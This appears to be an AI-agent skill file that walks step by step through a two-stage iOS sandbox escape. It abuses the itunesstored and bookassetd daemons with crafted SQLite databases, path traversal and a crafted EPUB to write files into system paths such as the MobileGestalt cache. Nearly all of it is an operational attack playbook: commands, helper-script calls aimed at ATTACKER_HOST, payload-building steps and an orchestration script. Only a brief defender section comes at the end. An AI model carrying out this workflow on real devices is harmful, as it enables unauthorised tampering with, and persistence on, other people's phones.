iOS itunesstored & bookassetd Sandbox Escape
Overview
This skill guides you through exploiting a two-stage sandbox escape in iOS that abuses itunesstored (downloads manager) and bookassetd (Books/iBooks asset manager). Both daemons blindly trust user-writable SQLite metadata, allowing arbitrary file writes to most mobile-owned paths in /private/var/.
Key capabilities:
- Works on iOS up to at least 26.2b1 (tested on iPhone 12 / iOS 26.0.1)
- Requires only AFC-level access (USB file copy) or any foothold allowing SQLite replacement
- Survives reboots and enables tampering with system group caches like
systemgroup.com.apple.mobilegestaltcache - Can spoof device properties or persist configuration
Prerequisites
Local filesystem access to
/var/mobile/Media/Downloads/and/var/mobile/Media/Books/via:- AFC clients (3uTools, i4.cn,
afcclient) - Any prior compromise allowing file writes
- AFC clients (3uTools, i4.cn,
HTTP server hosting attacker files (
BLDatabaseManager.sqlite,iTunesMetadata.plist, crafted EPUB)Ability to reboot the device multiple times (each daemon reloads its database on boot)
Books system-group UUID (discovered via syslog - see Stage 1)
Stage 1 – Abusing downloads.28.sqlitedb via itunesstored
itunesstored processes /var/mobile/Media/Downloads/downloads.28.sqlitedb. The asset table stores URL + destination metadata and is treated as trusted input. Crafting a row pointing to an attacker URL with local_path set to the Books SystemGroup causes itunesstored to download and overwrite the Books database on boot.
Step 1: Locate the Books SystemGroup UUID
# Collect syslog archive
pymobiledevice3 syslog collect logs.logarchive
# Open logs.logarchive in Console.app and search for:
# bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite
Record the <UUID> for use in the SQL payload.
Step 2: Craft the Malicious Database
Use the helper script to generate the malicious downloads.28.sqlitedb:
python scripts/craft_downloads_db.py \
--uuid <BOOKS_SYSTEMGROUP_UUID> \
--attacker-host https://ATTACKER_HOST \
--output downloads.28.sqlitedb
Key fields in the INSERT:
url: Attacker endpoint returning maliciousBLDatabaseManager.sqlitelocal_path: Books system-groupBLDatabaseManager.sqlitepath- Control flags: Keep defaults (
asset_type='media',path_extension='epub')
Step 3: Deploy Stage 1
- Delete stale
/var/mobile/Media/Downloads/*entries to avoid races - Replace
downloads.28.sqlitedbwith the crafted DB via AFC - Reboot →
itunesstoreddownloads the Stage 2 database and drops/var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist - Copy that plist to
/var/mobile/Media/Books/iTunesMetadata.plist(Stage 2 expects it there)
Stage 2 – Abusing BLDatabaseManager.sqlite via bookassetd
bookassetd owns broader filesystem entitlements and trusts the ZBLDOWNLOADINFO table. By inserting a fake purchase row with attacker URLs and a path traversal in ZPLISTPATH, the daemon downloads your EPUB and unpacks metadata into any mobile-owned path reachable through ../../.. escape sequences.
Step 1: Craft the Malicious Books Database
Use the helper script to generate BLDatabaseManager.sqlite:
python scripts/craft_books_db.py \
--attacker-host https://ATTACKER_HOST \
--target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
--output BLDatabaseManager.sqlite
Important fields:
ZASSETPATH: On-disk EPUB location (/var/mobile/Media/Books/asset.epub)ZURL/ZPERMLINK: Attacker URLs hosting the EPUB and auxiliary plistZPLISTPATH: Path traversal base (e.g.,../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library)- Purchase metadata: Mimic legitimate entries so the daemon accepts the row
Step 2: Deploy Stage 2
- The malicious DB is already in place from Stage 1
- Reboot →
bookassetddownloadsasset.epubto/var/mobile/Media/Books/ - Reboot again →
bookassetdprocesses the asset, followsZPLISTPATH, and writes EPUB contents to the targeted SystemGroup path
Crafting the EPUB Payload
bookassetd respects the EPUB ZIP format: mimetype must be the first uncompressed entry. Build a directory tree mirroring the desired path relative to ZPLISTPATH.
Structure
Caches/
├── mimetype
└── com.apple.MobileGestalt.plist
Build the Archive
Use the helper script:
python scripts/build_epub_payload.py \
--payload com.apple.MobileGestalt.plist \
--output hax.epub
Or manually:
# Create directory structure
mkdir -p Caches
echo -n 'application/epub+zip' > Caches/mimetype
cp YOUR_PAYLOAD.plist Caches/com.apple.MobileGestalt.plist
# Build EPUB with correct ordering
zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
mimetype: Must contain literalapplication/epub+zipCaches/com.apple.MobileGestalt.plist: Attacker payload landing at.../Library/Caches/com.apple.MobileGestalt.plist
Full Orchestration Workflow
- Prepare files on attacker HTTP server and craft both SQLite DBs with host/UUID-specific values
- Replace
downloads.28.sqlitedbon device and reboot → Stage 1 downloads maliciousBLDatabaseManager.sqlite - Copy
iTunesMetadata.plistto/var/mobile/Media/Books/iTunesMetadata.plist(repeat if daemon deletes it) - Reboot again →
bookassetddownloadsasset.epubusing Stage 2 metadata - Reboot a third time →
bookassetdprocesses the asset, followsZPLISTPATH, writes EPUB contents to target - Verify by reading the overwritten plist or observing MobileGestalt-derived property changes
Use the orchestration script for automation:
bash scripts/orchestrate_attack.sh \
--uuid <BOOKS_SYSTEMGROUP_UUID> \
--attacker-host https://ATTACKER_HOST \
--target-path /private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library \
--payload com.apple.MobileGestalt.plist
Tooling & Operational Notes
pymobiledevice3 syslog collect– Extract log archives to discover Books SystemGroup UUID- Console.app – Filter for
bookassetd [Database]: Store is at ...to recover exact container path - AFC clients (
afcclient, 3uTools, i4.cn) – Push/pull SQLite DBs and plist files over USB without jailbreak zip– Enforce EPUB ordering constraints when packaging payloads- Public PoC – https://github.com/hanakim3945/bl_sbx ships baseline SQLite/EPUB templates
Detection & Mitigation
For defenders:
- Treat
downloads.28.sqlitedbandBLDatabaseManager.sqliteas untrusted input - Validate
local_path/ZPLISTPATHstay within approved sandboxes - Reject fully qualified paths or traversal tokens
- Monitor for AFC writes replacing these databases
- Watch for unexpected downloads by
itunesstored/bookassetdafter boot - Harden
bookassetdunpacking withrealpath()before writing - Restrict AFC/USB file copy or require user interaction for metadata replacement